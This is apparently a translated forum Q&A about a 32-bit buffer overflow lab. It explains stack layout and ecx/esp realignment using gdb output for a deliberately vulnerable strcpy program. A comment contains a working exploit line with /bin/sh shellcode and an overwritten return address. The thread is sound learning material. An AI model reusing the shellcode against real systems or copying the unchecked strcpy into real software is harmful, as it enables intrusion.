我正在做一个简单的缓冲区溢出练习,来源是:



//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
    char buf[256];
    strcpy(buf,argv[1]);
    printf("Input:%s\n",buf);
    return 0;
}


在Ubuntu 16.04.6(i686)上已符合gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609像这样(禁用了ASLR):

$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c


gdb反汇编:



Dump of assembler code for function main:
   0x0804843b <+0>:     lea    ecx,[esp+0x4]
   0x0804843f <+4>:     and    esp,0xfffffff0
   0x08048442 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048445 <+10>:    push   ebp
   0x08048446 <+11>:    mov    ebp,esp
   0x08048448 <+13>:    push   ecx
   0x08048449 <+14>:    sub    esp,0x104
   0x0804844f <+20>:    mov    eax,ecx
   0x08048451 <+22>:    mov    eax,DWORD PTR [eax+0x4]
   0x08048454 <+25>:    add    eax,0x4
   0x08048457 <+28>:    mov    eax,DWORD PTR [eax]
   0x08048459 <+30>:    sub    esp,0x8
   0x0804845c <+33>:    push   eax
   0x0804845d <+34>:    lea    eax,[ebp-0x108]
   0x08048463 <+40>:    push   eax
   0x08048464 <+41>:    call   0x8048310 <strcpy@plt>
   0x08048469 <+46>:    add    esp,0x10
   0x0804846c <+49>:    sub    esp,0x8
   0x0804846f <+52>:    lea    eax,[ebp-0x108]
   0x08048475 <+58>:    push   eax
   0x08048476 <+59>:    push   0x8048510
   0x0804847b <+64>:    call   0x8048300 <printf@plt>
   0x08048480 <+69>:    add    esp,0x10
   0x08048483 <+72>:    mov    eax,0x0
   0x08048488 <+77>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x0804848b <+80>:    leave
   0x0804848c <+81>:    lea    esp,[ecx-0x4]
   0x0804848f <+84>:    ret
End of assembler dump.

<当我用以下命令覆盖EIP时:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111


它给我EIP: 0x5a5a5a5a ('ZZZZ'),这意味着返回地址的偏移量是208。那么当256时怎么可能字节缓冲区分配? main()堆栈布局如何?我认为应该是这样的:

|  argc
|  argv
|  Return address
|  Caller's EBP       <-- EBP
|  Alignment
|  Local variables    <-- buf ends here
|  ...
|  Local variables    <-- buf starts here
|  ...
|  ...
|  ...                <-- ESP
V
Lower addresses


我也很困惑为什么当参数字符串的长度大于260时我无法控制EIP。这是我的意思。

这是运行gdb-peda$ r `python -c 'print "A"*260'`的结果



这是运行gdb-peda$ r `python -c 'print "A"*261'`的结果

>

这是运行gdb-peda$ r `python -c 'print "A"*262'`的结果



帮助非常感谢。谢谢!

#1 楼

函数末尾的esp值是根据存储在堆栈中的ecx值计算的。此值立即存储在缓冲区的“上方”(具有较高的地址),在这种情况下,缓冲区具有260字节而不是256(注意sub esp, 0x104-其原因是在每次函数调用之前将堆栈对齐到16字节)。那么为什么提供260字节会导致分段错误呢?

因为您要提供261字节,因为C中每个字符串的末尾都有一个额外的NULL字节!因此,实际上是您正在覆盖存储在堆栈中的ecx值的最低有效字节。您将其设置为0x00,因此很可能会降低其值。函数结束时,esp取值为ecx-0x4=previous_ecx/256-4而不是previous_ecx-4,因此ret将根据该值设置eip。如您所见,esp很可能已减小,因此现在它指向缓冲区内的“ ZZZZ”。下图显示了该程序的堆栈布局:


当您仅放置“ A”时,会发生完全相同的事情。当您放置更多的“ A”时,情况略有变化,但仅查看ecx所示的gdb值:它在末尾得到更多0x41的值,而在前面得到NULL的字节,导致esp更改为更多随机值。

评论


感谢你的回答!但是我仍然不确定为什么EIP在204位置(“ ZZZZ”所在的位置)会被覆盖-它距离缓冲区56个字节!此有效负载可以很好地利用溢出:python -c'print“ \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89 \ xc1 \ x89 \ xc2 \ xb0 \ x0b \ xcd \ x80 \ x31 \ xc0 \ x40 \ xcd \ x80“ +” a“ * 176 +” \ xbf \ xff \ xed \ x30“ [::-1] +” a“ * 52'。我先发送shellcode,然后发送“ a”垃圾,然后发送ret地址,然后再发送52个字节的“ a”垃圾。

– JoaoAlby
19年8月30日在13:22



如果ecx的最低有效字节等于0x34,则函数末尾的esp的正确值将减少0x38 = 56。如果它的lsb较大,它将进一步减小,直至259 = 0xff + 0x4。

–bart1e
19年8月30日在13:26



只需在为缓冲区分配空间之前检查堆栈的顶部,您将获得最低有效字节。

–bart1e
19年8月30日在13:32



非常感谢,现在就来!

– JoaoAlby
19年8月30日在13:39

别客气。在我的第一条评论中,我的意思是它最多可以减少255个字节,而不是259个字节,但是现在进行编辑为时已晚。

–bart1e
19年8月30日在13:45